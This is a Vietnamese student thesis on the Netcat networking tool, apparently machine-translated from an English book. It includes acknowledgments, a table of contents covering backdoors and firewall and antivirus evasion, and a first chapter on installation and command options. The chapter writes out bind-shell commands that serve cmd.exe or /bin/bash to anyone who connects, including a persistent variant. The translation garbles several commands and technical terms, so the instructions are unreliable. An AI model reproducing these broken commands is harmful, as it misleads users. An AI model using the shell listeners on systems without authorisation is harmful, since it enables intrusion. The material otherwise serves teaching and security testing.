Vì lợi ích của việc cài đặt này, và vì vậy chúng tôi có thể cài đặt Netcat mà không cần phải cấu hình bằng tay-e option, chúng tôi sẽ tải về, cấu hình và biên dịch các phiên bản GNU của
Trang 1Trong suốt đề tài này, em sẽ trình bày về nội dung chủ yếu đó là cài đặt và sử dụng công cụ Netcat Power Tool, một cách chi tiết và gọn gẽ Để lấy được dữ liệu của mạng máy tính, và những tính năng tuyệt vời khác khi sử dụng công cụ Đó là một công cụ không thể thiếu của những hacker mới vào nghề và cả những hacker chuyên nghiệp Hack cũng có nghĩa là theo mục đích xấu, và Hack cũng có nghĩa là theo mục đích tốt Hack xấu ở mặt là lấy đi thông tin dữ liệu của người khác, Hack tốt ở mặt là giúp cho người đang quản lý giữ liệu biết được mình đang có lỗ hổng dữ liệu ở đâu Bên cạnh đó, cũng có những phương pháp để phòng trống, sơ hở dữ liệu và an toàn dữ liệu, để không bị hack mất Tìm hiểu được mặt tối và mặt sáng của công cụ Hack, đó cũng là niềm đam mê khi học Tin học của rất nhiều người.
Trang 2LỜI CẢM ƠN
Trên thực tế không có sự thành công nào mà không gắn liền với những sự hỗ trợ, giúp đỡ dù ít hay nhiều, dù trực tiếp hay gián tiếp của người khác Trong suốt thời gian từ khi bắt đầu học tập tại giảng đường đại học đến nay, em đã nhận được rất nhiều sự quan tâm, giúp đỡ của quý Thầy cô, gia đình, bạn bè
Với lòng biết ơn sâu sắc nhất, em xin gửi đến quý Thầy cô ở Khoa Công Nghệ Thông Tin – Trường Đại học Hải Phòng đã cùng với tri thức và tâm huyết của mình để truyền đạt vốn kiến thức quý báu cho chúng em trong suốt thời gian học tập tại trường
Em xin chân thành cảm ơn TS Đào Ngọc Tú đã tận tâm hướng dẫn chúng em qua từng buổi học trên lớp cũng như những buổi nói chuyện, thảo luận về lĩnh vực mạng máy mạng Nếu không có những lời hướng dẫn, dạy bảo của thầy thì em nghĩ bải Luận án này của em rất khó có thể hoàn thiện Một lần nữa, em xin chân thành cảm
ơn thầy Luận án được thực hiện trong khoảng thời gian gần 8 tuần
Bước đầu đi vào thực tế, tìm hiểu về lĩnh vực hack trong mạng máy tính, kiến thức của em còn hạn chế và còn nhiều bỡ ngỡ Do vậy, không tránh khỏi những thiếu sót là điều chắc chắn, em rất mong nhận được những ý kiến đóng góp quý báu của quý thầy cô và các bạn học cùng lớp để kiến thức của em trong lĩnh vực mạng máy tính được hoàn thiện hơn
Trang 3CHƯƠNG 1 : GIỚI THIỆU 10
1.1 Cài đặt 10
1.1.1 Cài đặt cửa sổ 11
1.1.2 Linux cài đặt 11
1.2 Installing Netcat from Source 12
1.3 Confirming Your Installatio n 13
1.4 Netcat’s Command Options 15
1.4.1 Phương thức hoạt động 15
1.5 Công cụ redirector 20
1.6 Hoạt động cơ bản 20
1.7 Giao diện trò chuyện đơn giản 20
1.8 Port Scanning 21
1.9 Chuyển tập tin ( Transferring Files ) 22
1.10 Banner Grabbing 23
1.11 Sử dụng khác 25
1.12 Tóm lược 25
1.12 Giải pháp Fast Track 26
1.12.1 Sự giới thiệu 26
1.12.2 Cài đặt 26
1.13 Hoạt động cơ bản 27
CHƯƠNG 2 NETCAT PENETRATION CÁC TÍNH NĂNG THỬ NGHIỆM 28
2.1 Sự giới thiệu 28
2.2 Port Scanning and Service Identification 28
2.3 Sử dụng Netcat như một Port Scanner 28
2.4 Banner Grabbing 29
2.5 Scripting Netcatđể xác định Nhiều biểu ngữ Web Server 30
2.6 Dịch vụ nhận dạng 31
2.7 Thử nghiệm Egress Firewall 32
2.8 Hệ thống B - Các hệ thống bên ngoài của Firewall 32
2.9 Hệ thống A - Các hệ thống b ên trong của Firewall 33
2.10 Tránh phát hiện trên một hệ thống Windows 34
Trang 42.11 Trốn tránh Windows XP /Windows 2003 Server Firewall 34
2.12 Làm Firewallngoại lệ sử dụng lệnh Netsh 35
2.13 Xác định trạng thái của Firewall 36
2.14 Trốn tránh phát hiện Antivirus 38
2.15 Biên dịch lại Netcat 38
2.16 Tạo một Netcat Backdoor trên Windows XP hoặc Windows 2003 Server 39
2.17 Phương thức kết nối Backdoor 40
2.18 Khởi đầu một kết nối trực tiếp đến các Backdoor 40
2.19 Khởi đầu một kết nối từ Backdoor 41
2.20 Phương pháp thi công Backdoor 42
2.21 Thực hiện các Backdoor sử dụng một dịch vụ Windows 43
2.22 Thực hiện các Backdoor sử dụng Windows Task Scheduler 45
2.23 Tóm tắt Execution Backdoor 47
2.24 Tóm lược 47
2.24.1 Giải pháp Fast Track 48
2.24.2 Thử nghiệm Egress Firewall 48
2.24.3 Tránh phát hiện trên một hệ thống Windows 48
2.24.4 Tạo một Netcat Backdoor trênWindows XP hoặc Windows 2003 Server 48
CHƯƠNG 3: ENUMERATION VÀ SCAN VỚI NETCAT VÀ NMAP 49
3.1 Sự giới thiệu 49
3.2 Mục tiêu 49
3.3 Tiếp cận 51
3.4 Quét (scanning) 51
3.5 Enumeration (điều tra) 52
3.6 Ghi chú và Tài liệu 52
3.7 Chủ động với thụ động 53
3.8 Moving On 53
3.9 Công nghệ cốt lõi 54
3.10 Làm thế nào qué t works 54
3.11 Cổng quét 55
3.12 Dịch vụ nhận dạng 58
Trang 53.14 Vân tay ( Fingerprinting ) 59
3.15 Loud, Quiet 60
3.15.1 Thời gian 60
3.15.2 Các vấn đề băng thông 61
3.15.3 Hình thành gói không bình thường 61
3.16 Công cụ mã nguồn mở 62
3.16.1 Quét 62
3.16.2 Nmap 62
3.17 Netenum: Ping Sweep 69
3.18 Unicornscan: Port Scan và Fuzzing 70
3.19 Scanrand: Port Scan 71
3.20 Enumeration 72
3.21 Netcat 73
3.22 P0f: Passive OS Fingerprinting 74
3.23 Xprobe2: OS Fingerprinting 75
3.24 Httprint 76
3.25 Ike-scan: Đánh giá VPN 77
3.26 Amap: phiên bản ứng dụng phát hiện 78
3.27 Cửa sổ liệt kê:Smbgetserverinfo / smbdumpusers / smbclient 79
CHƯƠNG 4: BANNER GRABBING VỚI NETCAT 82
4.1 Sự giới thiệu 82
4.2 Lợi ích của các banner 82
4.3 Lợi ích cho các chủ sở hữu máy chủ 83
4.4 Tìm kiếm các máy chủ trái phép 83
4.5 Lợi ích cho một Attacker Mạng 84
4.6 Banner Grabbing cơ bản 87
4.7 Máy chủ Web (HTTP) 87
4.8 Đối phó với biểu ngữ bị xáo trộn 90
4.9 Apache ServerTokens 92
4.10 File Transfer Protocol (FTP) Máy chủ 98
4.11 Máy chủ E-mail 102
4.12 Post Office Protocol (POP) Máy chủ 103
Trang 64.13 Simple Mail Transport Protocol (SMTP) server 104
4.14 Quay lại với banner Grabbing 105
4.15 Responses SMTP Fingerprinting máy chủ 106
4.15 Làm thế nào để sửa đổi Biểu ngữ E-mail của bạn 107
4.16 Sendmail Banners 107
4.17 Microsoft Exchange SMTP Banners 110
4.18 Microsoft Exchange POP và IMAP Banners 111
4.19 Secure Shell (SSH) Máy chủ 112
4.20 Ẩn các Banner SSH 113
4.21 Banner Nắm lấy với một Sniffer Packet 114
4.22 Tóm lược 118
4.23 Giải pháp Fast Track 121
CHƯƠNG 5: MẶT TỐI CỦA NETCAT 123
5.1 Sự giới thiệu 123
5.2 Sniffing dịch chuyển trong một hệ thống 124
5.3 Tripwire 126
5.4 Sniffing traffic mà không Di dời một Dịch vụ 129
5.5 Các cuộc tấn công đường hầm Rogue 133
5.6 Kết nối thông qua một hệ thống Pivot 136
5.7 Chuyển tập tin 140
5.8 Sử dụng Secure Shell 141
5.9 Sử dụng Redirection 142
5.10 Man-in-the-middle Attacks 144
5.11 Backdoors và Shell Shoveling 145
5.11.1 Backdoor 145
5.11.2 Shell Shoveling 146
5.12 Netcat trên Windows 150
5.13 Tóm lược 150
CHƯƠNG 6 TRANSFERRING FILES USING NETCAT 152
6.1 Sự giới thiệu 152
6.2 Khi sử dụng Netcat để chuyển tập tin 152
Trang 76.4 Lo ngại an ninh 153
6.5 Cài đặt phần mềm trên Windows Clients 154
6.6 Trường Netcat Shines 155
6.7 Tốc độ triển khai 155
6.8 Lén ( Stealth ) 156
6.9 Dấu chân nhỏ 157
6.10 Vận hành đơn giản 157
6.11 Thực hiện các tập tin chuyển cơ bản 158
6.12 Chuyển tập tin với Netcat gốc 158
6.13 Đóng Netcat Khi chuyển giao được hoàn thành 159
6.14 Tùy chọn và cân nhắc khác 160
6.15 Thời gian chuyển?,? Throughput,? Vv 161
6.16 Sử dụng Netcat biến thể 162
6.17 Cryptcat 163
6.18 SBD 165
6.19 SOCAT 166
6.20 Socat Khái niệm cơ bản 167
6.21 Chuyển tập tin với Socat 167
6.21 Encryption 168
6.22 Trộn và Matching 169
6.23 Đảm bảo tập tin mật 169
6.24 Sử dụng OpenSSH 170
6.25 Cài đặt và Cấu hình Secure Shell 171
6.26 Cấu hình OpenSSH Port Forwarding 173
6.27 Sử dụng SSL 174
6.28 Cấu hình Stunnel 174
6.29 Sử dụng IPsec 176
6.30 Cấu hình IPSec trên Windows 177
6.31 Cấu hình IPSec trên Linux 182
6.31 Đảm bảo tệp Integrity 186
6.32 Công cụ Hashing 187
6.33 Sử dụng Netcat Kiểm nghiệm 189
Trang 86.34 Kiểm tra băng thông 189
6.35 Thử nghiệm khả năng kết nối 190
6.36 Tóm lược 191
6.37 Giải pháp Fast Track 191
CHƯƠNG 7 GIẢI QUYẾT VẤN ĐỀ VỚI NETCAT 193
7.1 Sự giới thiệu 193
7.2 Quét một hệ thống 194
7.3 Kiểm tra mạng trễ 197
7.4 Sử dụng Netcat là mộtThính giả trên mục tiêu hệ thống của chúng tôi 198
7.5 Sử dụng một Pre-hiện tạiDịch vụ trên mục tiêuhệ thống của chúng tôi 200
7.6 Sử dụng một dịch vụ UDP 201
7.7 Sử dụng một dịch vụ TCP 201
7.8 Xử lý sự cố HTTP 203
7.9 Xử lý sự cố FTP 209
7.10 Khắc phục sự cố FTP Chuyển động Sử dụng Netcat 211
7.11 Khắc phục sự cố chuyển Passive FTP sử dụng Netcat 214
7.12 Tóm lược 216
KẾT LUẬN 218
DANH MỤC TÀI LIỆU THAM KHẢO 219
Trang 9KÍ HIỆU CÁC CỤM TỪ VIẾT TẮT
TCP(Transmission Control Protocol) : Giao thức điều khiển truyền vận
IP (Internet Protocol) : Giao thức Liên mạng
NC NETCAT : Công Cụ Hack Netcat
HTTP (HyperText Transfer Protocol) : Giao thức truyền tải siêu văn bản
Trang 10CHƯƠNG 1 : GIỚI THIỆU
Nguyên phát hành vào năm 1996, Netcat là một chương trình mạng được thiết
kế để đọc và ghi dữ liệu trên cả hai Transmission Control Protocol TCP và các kết nối User Datagram Protocol (UDP) bằng cách sử dụng bộ giao thức TCP / giao thức Internet (IP) Netcat thường được nhắc đến như một "con dao quân đội Thụy Sĩ" tiện ích, và vì lý do tốt Cũng giống như nhiều chức năng hữu ích của túi con dao quân đội Thụy Sĩ đáng kính, chức năng Netcat là hữu ích như là cả một chương trình độc lập và một công cụ back-end trong một loạt các ứng dụng Một số sử dụng nhiều Netcat bao gồm scanning, transferring files, grabbing banners, port listening và chuyển hướng, và nhiều nefariously , backdoor
Có một số cuộc tranh luận về nguồn gốc của tên Netcat, nhưng một trong những lời giải thích phổ biến hơn (và đáng tin cậy) là Netcat chỉ đơn giản là một phiên bản mạng của dễ bị tấn công bởi chương trình cat Cũng như cat đọc và ghi thông tin cho file, Netcat đọc và ghi thông tin qua kết nối mạng
Nguyên mã hoá cho UNIX, và mặc dù ban đầu không được duy trì một cách thường xuyên, Netcat đã được viết lại thành một số phiên bản và triển khai thực hiện
Nó đã được chuyển đến một số hệ điều hành, nhưng thường được thấy trên các bản phân phối khác nhau Linux cũng như Microsoft Windows
1.1 Cài đặt
Netcat là một chương trình khá đơn giản và nhỏ, nó không tự hỏi rằng cài đặt rất đơn giản, không phụ thuộc vào hệ điều hành mà bạn chọn Các cổng Windows của Netcat đi kèm đã được biên soạn dưới dạng nhị phân, vì vậy không có cài đặt đúng yêu cầu Như đã nói trước đây, có hai cách thông thường thi hành UNIX / Linux:
UNIX phiên bản gốc cũng như GNU Netcat Hầu như tất cả các phiên bản của UNIX / Linux sẽ đến với một trong những hiện thực của Netcat đã được biên dịch; Tuy nhiên, nó là hữu ích để biết làm thế nào để cài đặt nó nếu cần thiết Hơn nữa, tùy thuộc vào việc thực hiện cụ thể của bạn, bạn có thể cần phải lập lại Netcat để có được đầy đủ chức năng
Trang 111.1.1Cài đặt cửa sổ
Cài đặt Windows không thể nào dễ dàng hơn Đơn giản chỉ cần tải về các tập tin zip từ www.vulnwatch.org/netcat/nc111nt.zip Giải nén đến vị trí của sự lựa chọn của bạn, và bạn hoàn tất (xem Hình 1.1) Có một vài tập tin quan trọng để kiểm tra: hobbit.txt là tài liệu gốc,readme.txtlà một lời giải thích của một sửa chữa bảo mật từ phiên bản 1,10-1,11, vàlicense.txt là tiêu chuẩn GNU giấy phép công cộng chung
Figure 1.1 Netcat Installation Under Windows
1.1.2 Linux cài đặt
Nhiều chính bản phân phối Linux đi kèm với Netcat đã được biên dịch và cài đặt.Những người khác có ít nhất một hoặc nhiều phiên bản của Netcat có sẵn như là một gói phần mềm biên dịch trước
Để xác định phiên bản Netcat, chỉ cần gõnc -h hoặc lànetcat -h Bản gốcphiên
bản UNIX sẽ trả về một dòng phiên bản của[V1.10], trong khi phiên bản GNU sẽ trở lạiGNU Netcat 0.7.1, viết lại các công cụ mạng nổi tiếng Ngay cả khi Netcat đã được cài đặt trên hệ thống của bạn, bạn có thể không muốn bỏ qua phần này Nhiều cài đặt sẵn, tiền biên dịch, hoặc đóng gói phiên bản Netcat đi kèm với một bản phân phối Linux không được biên dịch với những gì được gọi là tùy chọn GAPING_SECURITY_HOLE (điều này cho phép Netcat để thực hiện chương trình với các–eoption) Đây là những thường sưu tập "an toàn" của mã nguồn Netcat gốc
Trang 12Các phiên bản GNU của Netcat tự động biên dịch vớikích hoạt –eoption, vì vậy bằng cách cài đặt phiên bản này không có cấu hình bổ sung là cần thiết Mặc dù vậy, tất cả các chức năng khác của Netcat gốc vẫn còn nguyên vẹn Tất nhiên, thực hiện chương trình là những gì làm cho Netcat là một công cụ mạnh mẽ như vậy Hơn nữa, nhiều người trong các cuộc biểu tình trong cuốn sách này tận dụng lợi thế của các–eoption,
vì vậy bạn có thể muốn xem xét lại việc biên dịch nếu bạn muốn theo cùng
1.2 Installing Netcat from Source
Nếu bạn muốn biên dịch nó từ mã nguồn, bạn có hai lựa chọn Đầu tiên là bản gốc UNIX Netcat, có thể được tìm thấy tại www.vulnwatch.org/netcat Lựa chọn thứ hai của bạn là GNU Netcat, mà nằm ở netcat.sourceforge.net Sự khác biệt chính giữa hai phiên bản của Netcat là Netcat gốc đòi hỏi phải cấu hình bằng tay để biên dịch với các-e option, trong khi GNU Netcat có phải nó tự động cấu hình thủ công này là không phức tạp, nhưng có thể là khó khăn nếu bạn không sử dụng để nhìn vào mã nguồn
Nếu bạn là tương đối mới với Linux và biên soạn một chương trình từ mã nguồn có vẻ khó khăn Toàn bộ quá trình cài đặt rất đơn giản và dễ dàng, và mất tất cả chỉ một vài phút Vì lợi ích của việc cài đặt này, và vì vậy chúng tôi có thể cài đặt Netcat mà không cần phải cấu hình bằng tay-e option, chúng tôi sẽ tải về, cấu hình và biên dịch các phiên bản GNU của Netcat:
wget http://osdn.dl.sourceforge.net/sourceforge/netcat/netcat-0.7.1.tar.gz tar -xzf netcat-0.7.1.tar.gz cd netcat-0.7.1 /configure làm cho thực hiện cài đặt
Bước đầu tiên của bạn đối với cài đặt là tải về mã nguồn Bạn có thể chọn để sử
dụng đơn giản tiện ích dòng lệnhwget, như thể hiện trong hình 1.3, hoặc tải về thông
qua một trình duyệt Web hoặc các phương tiện khác
Figure 1 Downloading Netcat
Trang 13Tiếp theo, un-tar kho lưu trữ và thay đổi vào thư mục Netcat mới được tạo ra Sau đó, cấu hình Netcat (xem Hình 1.4) Các kịch bản cấu hình tạo ra một tập tin cấu hình được gọi là Makefile.
1.3 Confirming Your Installation
Bất kể có hay không bạn chọn để cài đặt phiên bản Windows hoặc Linux của
Netcat, để xác nhận rằng Netcat được cài đặt một cách chính xác, gõ nc -h hoặc lànetcat -h để hiển thị màn hình giúp đỡ (xem hình 1.5 và 1.6) Nhận thấy có một vài
sự khác biệt trong các tùy chọn Trong phiên bản Windows, - L đại diện cho một chế
độ nghe liên tục (được mô tả sau), trong khi nó đại diện cho một chế độ đường hầm trong phiên bản Linux Ngoài ra, phiên bản Linux bao gồm-V (Chú ý chữ hoa), hiển thị thông tin phiên bản Cuối cùng, phiên bản Linux bao gồm-x (Hexdump giao thông vào và ra), mà không được bao gồm trong phiên bản Windows, nhưng được gợi ý trong-o option
Trang 14Figure 1 Netcat Installed in Windows
Trang 151.4 Netcat’s Command Options
Trong phần này, chúng ta sẽ nói về hai chế độ khác nhau của Netcat hoạt động, cũng như một số các tùy chọn phổ biến nhất
1.4.1 Phương thức hoạt động
Netcat có hai chế độ chính của hoạt động, như mộtkhách hàng, và như là mộtmáy chủ Hai dòng đầu tiên của màn hình giúp đỡ trong hình 1.5 (bên dưới thông tin phiên bản) giải thích cú pháp thích hợp cho mỗi người trong các chế độ:
connect to somewhere: nc [-options] hostname port[s] [ports] … listen for inbound: nc –l –p port [options] [hostname] [port]
connect to somewherechỉ ra cú pháp của chế độ client Netcat Thông thường,
bạn đang sử dụng Netcat là một khách hàng trên máy tính của bạn để có được một số loại thông tin từ máy khác
Listen for inboundchỉ ra cú pháp của chế độ máy chủ Netcat Chú ý-l
Switch, trong đó đặt Netcat vào chế độ lắng nghe Trong trường hợp này, bạn
đang thiết lập Netcat để lắng nghe cho một kết nối đến Netcat không thực sự quan tâm chế độ nào nó sử dụng, và sẽ làm hầu hết bất cứ điều gì bạn yêu cầu của nó trong cả hai chế độ
Tùy chọn lệnh phổ biến
Trong phần này chúng ta sẽ nói về các tùy chọn phổ biến nhất mà bạn có thể sẽ thấy được sử dụng trong các hoạt động cơ bản của Netcat Với một vài trường hợp ngoại lệ (được mô tả trước đây và ghi nhận cụ thể trong văn bản), các tùy chọn này là như nhau cho cả hai phiên bản Windows và Linux Vui lòng tham khảo các chương riêng trong sách này cho sử dụng nâng cao hơn các tùy chọn Netcat của tùy thuộc vào
những gì bạn đang cố gắng để thực hiện Hãy nhớ rằng-l option sẽ quyết định phương thức hoạt động của Netcat Lệnhnc –l sẽ đặt Netcat vào máy chủ hoặc chế độ lắng nghe, vànc sẽ chạy Netcat ở chế độ khách hàng.
Các tùy chọn có sẵn đầu tiên,-c, Lệnh Netcat đóng cửa ở cuối tập tin (EOF) từ
đầu vào chuẩn (stdin) Tùy chọn này chỉ có sẵn trong các phiên bản Linux.Tùy chọn
tiếp theo Netcat là -d Chuyển đổi này cho phép Netcat được tách ra từ bàn điều
khiển và chạy ở chế độ nền Điều này đặc biệt hữu ích nếu bạn không muốn Netcat để
mở ra một cửa sổ giao diện điều khiển (đặc biệt là nếu một người nào đó có thể được xem) Lưu ý rằng tùy chọn này chỉ có sẵn trong các phiên bản Windows
Trang 16Tùy chọn mạnh mẽ nhất Netcat là chắc chắnprog -e Tùy chọn này, chỉ có trong
chế độ máy chủ, cho phép Netcat để thực thi một chương trình quy định khi một khách
hàng kết nối với nó Hãy xem xét các lệnh sau: nc -l -p 12345 -e cmd.exe (Windows)
nc -l -p 12345 -e / bin / bash (Linux)
Cả hai lệnh cơ bản làm điều tương tự, nhưng trên các hệ thống khác nhau Lệnh đầu tiên thực hiện Netcat ở chế độ máy chủ trên cổng 12345 địa phương, và sẽ thực hiệncmd.exe (Windows shell lệnh) khi một khách hàng kết nối với nó Lệnh thứ hai nó chính xác những điều tương tự, ngoại trừ việc nó thực thi một shell bash trong Linux
Để kiểm tra tùy chọn này, bắt đầu Netcat ở chế độ máy chủ (Hình 1.7):
Bắt đầu từ Netcat ở chế độ máy chủ (Windows)
Figure 1.7 Starting Netcat in Client Mode (Windows to Windows)
Figure 1.8Starting Netcat in Client Mode (Windows to Windows)
Figure 1.9 Starting Netcat in Client Mode (Windows to Linux)
Sau khi bạn nhấn enter, bạn sẽ được chào đón với những thông tin biểu ngữ Microsoft và một dấu nhắc lệnh mới Điều này có vẻ tượng, nhưng làm cho không có sai lầm về nó: bạn đang chạy nhắc lệnh này thông qua Netcat Nếu bạn đang chạy Netcat qua mạng thay vì trên cùng một máy tính, bạn sẽ có quyền truy cập trực tiếp vỏ trên máy chủ Kiểulối thoát tại dấu nhắc, và bạn sẽ thấy rằng các máy chủ Netcat đóng
Trang 17Để bắt đầu Netcat ở chế độ máy chủ trên một loại hộp Linux gõ nc -l -p 12345 -e / bin / bash.
Bây giờ mở một dấu nhắc lệnh trong Windows và bắt đầu Netcat ở chế độ khách hàng (xem Hình 1.9)
Không giống như khi chúng ta kết nối với Windows, Linux bash shell không
vang vọng bất kỳ ký tự để màn hình của bạn Hãy thử sử dụng uname –a để hiển thị
các thông tin hệ thống Trong trường hợp này, nó khẳng định chúng ta đang kết nối với một hộp Linux vì nó chấp nhận một lệnh Linux phổ biến Hơn nữa, nó trở về hệ thống thông tin liên quan: tên kernel và phiên bản, thông tin xử lý, và vv
Các-g và-G tùy chọn cho phép bạn cấu hình Netcat để sử dụng dữ liệu định tuyến Trong định tuyến nguồn, người gửi chỉ rõ con đường mà một gói tin di chuyển thông qua một mạng lưới Vì hầu hết các router chặn các gói tin từ nguồn chuyển, tùy chọn này là nhiều hay ít lỗi thời
Như chúng ta đã thấy, màn hình trợ giúp sẽ được hiển thị với–h switch Để thiết lập một khoảng thời gian trễ (giữa dòng gửi hoặc cổng quét), sử dụng- i option.
Điều này có thể hữu ích cho việc quét các cổng nếu tốc độ hạn chế là gặp phải
Để đặt Netcat ở chế độ lắng nghe, hoặc như chúng ta đã gọi nó là trong chương,
chế độ máy chủ này, sử dụng-l option Thông thường, Netcat là một chương trình duy
nhất sử dụng Nói cách khác, một khi kết nối đóng, Netcat đóng cửa và không còn có
sẵn Tuy nhiên các-L option mở lại Netcat với dòng lệnh tương tự sau khi các kết nối
ban đầu đã đóng:
nc -l -p 12345 -e cmd.exe -L
Kết nối để dụ này của Netcat sẽ mở một shell lệnh cho khách hàng Thoát khỏi
rằng lệnh shell sẽ đóng kết nối, nhưng-L option sẽ mở nó lên một lần nữa.
Để cho phép số-chỉ có địa chỉ IP và không có đảo ngược tra cứu, sử dụng -n option Nó cũng rất hữu ích để biết những gì Netcat sẽ làm gì nếu bạn đừngbao gồm các-n option Không có-n (Và giả sử bạn đã bao gồm-v switch), Netcat sẽ hiển thị phía
trước và ngược tên và tra cứu địa chỉ cho các máy chủ định Chúng ta hãy xem một ví
dụ Trong hình 1.10, chúng tôi đã bao gồm các -n option:
Figure 1.10 Netcat with the –n Option
Trang 18với-n option kích hoạt, Netcat chỉ chấp nhận một địa chỉ IP dạng số và hiện không có tra cứu ngược lại So sánh với các dòng lệnh tương tự, mà không cho phép -n (Hình 1.11):
Figure 1.11 Netcat without the –n Option
Nếu không có-n option, Netcat hiện một tra cứu ngược lại và cho chúng ta biết
rằng địa chỉ IP được chỉ định thuộc về Google Nó không phải là không phổ biến cho Netcat để hiển thị cảnh báo khi làm phía trước hoặc ngược Domain Name System (DNS) tìm kiếm.Những cảnh báo này thường liên quan đến khả năng của bản ghi DNS không phù hợp
Để làm một hex dump của giao dịch Netcat vào một tập tin, sử dụng–o filename option.
Để xác định trên cổng vào (máy chủ) máy địa phương Netcat nên lắng nghe, sử
dụng-p port switch: nc –l –p 12345
Trong ví dụ này, Netcat được chạy trong chế độ máy chủ và lắng nghe các kết nối đến trên cổng 12345
Netcat cũng có thể quét các cổng ở chế độ khách hàng Bạn có thể chỉ định nhiều hơn một cổng (cách nhau bằng dấu phẩy), dao động (bao gồm tất cả), hoặc thậm
chí chung tên cổng Khi xác định số cổng của một máy chủ trong chế độ khách
hàng,-p ohàng,-ption là không cần thiết Đơn giản chỉ cần liệt kê tên máy theo sau là số cổng (s)
hoặc phạm vi Nếu bạn chỉ định một loạt các cổng, Netcat bắt đầu ở đầu trang và các công trình phía dưới cùng Vì vậy, nếu bạn yêu cầu Netcat để quét cổng 20-30, nó sẽ bắt đầu từ 30 và làm việc ngược đến 20
Để ngẫu nhiên cổng, sử dụng-r option Nếu bạn đang sử dụng Netcat để quét các cổng,-rsẽ cho phép Netcat để quét một cách ngẫu nhiên như trái ngược với đầu
Trang 19tiêu chuẩn để tiếp cận dưới Hơn nữa,-rcũng sẽ ngẫu nhiên cổng nguồn địa phương của
bạn trong chế độ máy chủ
Chúng tôi có thể sử dụng-S optionđể thay đổi địa chỉ nguồn của một gói tin, đó
là hữu ích cho cách giả mạo địa điểm xuất xứ Đây là một lệnh có tính hữu dụng đã xuống cấp theo thời gian do các bộ định tuyến thông minh hơn mà thả các gói tin như vậy Sự hạn chế rõ ràng khác là trả lời được gửi đến địa chỉ giả mạo thay vì vị trí đúng
Để cấu hình Netcat để trả lời các cuộc đàm phán Telnet, sử dụng các máy chủ
cụ thể lệnh -t Nói cách khác, Netcat có thể được thiết lập như một máy chủ Telnet đơn
giản Hãy xem xét các lệnh sau đây:
nc -l -p 12345 -e cmd.exe -t
Lưu ý rằng các lệnh trước đó là đặc trưng cho một máy chủ Netcat chạy trên Windows Nếu ví dụ máy chủ của bạn của Netcat đang chạy trong Linux, bạn muốn
thực hiện/ Bin / bash thay vìcmd.exe.
Sử dụng Netcat, Telnet, hoặc bất kỳ khách hàng như PuTTY để kết nối đến máy chủ này, và bạn sẽ có quyền truy cập shell thông qua Telnet
VỚICÁC UDP chứ không phải là TCP mặc định được cấu hình với–u switch
Kể từ UDP là một giao thức kết nối, nó được khuyến khích mà bạn sử dụng timeout với tùy chọn này
Các-v option, phổ biến đến nhiều chương trình dòng lệnh, điều khiển rườm rà,
hoặc số lượng thông tin được hiển thị cho người dùng Trong khi bạn có thể chạy Netcat hoàn toàn không có tùy chọn này, Netcat sẽ chạy âm thầm và chỉ cung cấp cho bạn thông tin nếu có lỗi xảy ra Một lần nữa, như với nhiều chương trình khác, bạn có thể tăng mức rườm rà với nhiều hơn mộtv (cả-v -v hoặc là-vv sẽ làm việc)
Hãy lưu ý rằng trong các phiên bản GNU Linux,-V hiển thị thông tin phiên bản
và sau đó thoát ra.Sử dụng–w secs để thiết lập thời gian chờ mạng không hoạt động
Tùy chọn này rất hữu ích cho các kết nối đóng cửa khi máy chủ không làm điều đó tự động, và để tăng tốc các yêu cầu của bạn Một thời gian thông thường là 3 giây
Đầu vào bằng chế độ / đầu ra được chỉ định bởi các–z switch Tùy chọn này được sử dụng chủ yếu cho việc scan cổng Khi–z là option, Netcat sẽ không gửi bất kỳ
dữ liệu vào một kết nối TCP, và sẽ gửi dữ liệu chỉ giới hạn trong một kết nối UDP
Trang 20Một công cụ hữu ích redirector là pine (|), cho phép đầu ra từ một lệnh để phục
vụ như là đầu vào cho một lệnh thứ hai (và do đó trên) Các quá trình này cùng nhau tạo thành một " pipeline" Một số lệnh phổ biến thường được sử dụng với Netcat là cat (gửi một tập tin), echo, và tar (nén và gửi một thư mục) Bạn thậm chí có thể chạy Netcat hai lần để thiết lập một relay Có thực sự không có giới hạn các khả năng
1.6 Hoạt động cơ bản
Trong phần còn lại của chương này, chúng ta sẽ khám phá một số các hoạt động
cơ bản của Netcat
1.7 Giao diện trò chuyện đơn giản
Chúng tôi đã nói ngay từ đầu rằng Netcat là một chương trình mạng được thiết
kế để đọc và ghi dữ liệu qua kết nối Có lẽ cách dễ nhất để hiểu cách làm việc này chỉ đơn giản là thiết lập một máy chủ và máy khách Bạn có thể thiết lập cả hai trên cùng một máy tính, hoặc sử dụng hai máy tính khác nhau Vì lợi ích của chứng minh này, chúng ta sẽ bắt đầu cả máy chủ và máy khách trên cùng một giao diện Trong một cửa
sổ thiết bị đầu cuối, bắt đầu máy chủ:
nc -l -p 12345
Trang 21nc localhost 12345
Kết quả là một giao diện chat rất cơ bản (xem hình 1.12) Văn bản nhập vào một bên của kết nối đơn giản chỉ được gửi đến phía bên kia của kết nối khi bạn nhấn vào Chú ý không có gì để chỉ ra nguồn gốc của văn bản là, chỉ có đầu ra được in
Figure 1.12Sending Data Across a Connection
1.8 Port Scanning
Mặc dù nó không nhất thiết phải là lựa chọn tốt nhất cho việc quét cổng (Nmap được coi là kem của cây trồng), Netcat có một số sơ bộ khả năng quét cổng Là hãng phát triển BackTrack Mati Aharoni đã nói, "Nó không phải luôn luôn là công cụ tốt nhất cho công việc, nhưng nếu tôi đã bị mắc kẹt trên một hòn đảo, tôi muốn lấy Netcat với tôi." Tôi đoán rằng nhiều người, cho sự lựa chọn chỉ có một công cụ, cũng sẽ chọn Netcat
Port scanning với Netcat xảy ra trong chế độ client Cú pháp như sau: : nc –[options] hostname [ports]
Các tùy chọn phổ biến nhất liên quan đến chức năng quét cổng là–w (Không hoạt động thời gian chờ mạng) và-z, Cả hai đều có thể giúp tăng tốc độ quét của bạn khả năng khác là-i (Bộ một khoảng thời gian trễ giữa cổng scan),-n (Ngăn tra cứu DNS), và-r (Quét cổng ngẫu nhiên) Xem hình 1,13 cho một ví dụ.
Khi danh sách các cổng, bạn có một số tùy chọn Bạn có thể liệt kê một số cá nhân cổng, một loạt các cổng ngăn cách bằng dấu phẩy, hoặc một loạt các cảng (bao gồm) Bạn thậm chí có thể liệt kê một cổng theo tên dịch vụ của mình Sau đây là những ví dụ hợp lệ:
Trang 22nc -v 192.168.1.4 21, 80, 443 nc -v 192.168.1.4 1-200 nc -v 192.168.1.4 http
Trong số cổng thông dụng, Netcat sẽ cho bạn những dịch vụ liên kết với một cổng cụ thể Trong Windows, các dịch vụ công nhận nằm trong
/WINDOWS/system32 /drivers/etc/services Trong Linux, /etc/services tập tin
